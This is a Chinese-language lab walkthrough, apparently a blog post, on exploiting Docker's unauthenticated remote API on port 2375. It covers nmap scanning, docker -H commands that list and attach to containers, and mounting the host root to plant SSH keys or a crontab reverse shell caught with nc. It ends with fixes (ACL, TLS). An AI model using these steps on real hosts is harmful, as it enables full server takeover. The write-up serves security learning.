Docker未授权访问漏洞

Docker未授权访问漏洞

什么是Docker

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。

我们可以在服务器上创建不同的虚拟机,在不同的虚拟机上放置不同的应用,但是虚拟机开销比较高。利用Docker可以实现虚拟机隔离应用环境的功能。

漏洞原因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器

漏洞影响

攻击者利用 dockerclient 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

漏洞挖掘

实验地址:https://www.yijinglab.com/expc.do?ce=74d02af2-6e5f-4e77-bc01-71142d256b15

目标机器: CentOS7+Docker、IP:10.1.1.200

攻击机器:Kali+Docker、IP:10.1.1.100

1.信息收集

通过nmap对目标进行信息收集,发现如下端口开放

22端口:ssh默认端口

2375端口:docker远程操控(对远程docker deaom进行操作)

全端口扫描:nmap -sS -v -T4 -Pn -p- 10.1.1.200

请添加图片描述

2.通过浏览器访问端口

已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞

请添加图片描述

3.获取docker相关信息

  • info

请添加图片描述

  • images/json获取到镜像信息

请添加图片描述

漏洞利用

1.使用docker命令连接目标机器

通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器

docker -H tcp://10.1.1.200 ps -a    #列出所有容器

请添加图片描述

docker -H tcp://10.1.1.200 images	#列出所有镜像

请添加图片描述

2.进入容器

方法一
  • 列出所有容器时,查看已经退出停止的容器

请添加图片描述

  • 通过start命令启动一个已经停止的容器

请添加图片描述

  • 通过attach命令连接已启动的容器

请添加图片描述

到这里就获取到一个docker容器的权限(getshell)

方法二
  • 新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)
docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash 4c9608fd76ba(镜像id)

请添加图片描述

  • 首先kali生成id_rsa公钥:ssh-keygen -t rsa
  • 生成的公钥在/root/.ssh/ 目录下:

请添加图片描述

  • 将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
    请添加图片描述

  • 在写入后即可通过使用ssh进行连接,获取宿主机的shell

请添加图片描述

3.docker未授权写定时任务获取shell

启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

  • kali 开启监听

请添加图片描述

  • 写入反弹shell的脚本

请添加图片描述

  • getshell

请添加图片描述

修复docker未授权访问漏洞

  1. 设置ACL,只允许信任IP 连接对应接口
  2. 开启TLS,使用生成的证书进行认证

https://docs.docker.com/engine/security/protect-access/

ACL : 访问控制列表是一种基于包过滤的访问控制技术,它可以根据设定的条件对接口上的数据包进行过滤,允许其通过或丢弃。访问控制列表被广泛地应用于路由器三层交换机,借助于访问控制列表,可以有效地控制用户对网络的访问,从而最大程度地保障[网络安全]

TLS : 传输层安全性协议

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值